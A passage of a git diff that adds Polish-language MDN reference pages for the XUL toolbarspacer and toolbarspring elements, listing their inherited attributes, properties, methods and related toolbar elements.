href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbarspacer/index.html b/files/pl/mozilla/tech/xul/toolbarspacer/index.html
new file mode 100644
index 0000000000..45986d349e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbarspacer/index.html
@@ -0,0 +1,113 @@
+---
+title: toolbarspacer
+slug: Mozilla/Tech/XUL/toolbarspacer
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbarspacer
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p><b><span class="highlightred">Tylko Firefox</span></b>
+</p><p>Przestrzeń pomiędzy pozycjami paska narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>).
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzeba przykładu)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbarspring/index.html b/files/pl/mozilla/tech/xul/toolbarspring/index.html
new file mode 100644
index 0000000000..b55f64704c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbarspring/index.html
@@ -0,0 +1,113 @@
+---
+title: toolbarspring
+slug: Mozilla/Tech/XUL/toolbarspring
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbarspring
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p><b><span class="highlightred">Tylko Firefox</span></b>
+</p><p>Elastyczna przestrzeń pomiędzy pozycjami <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>.
+</p>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a 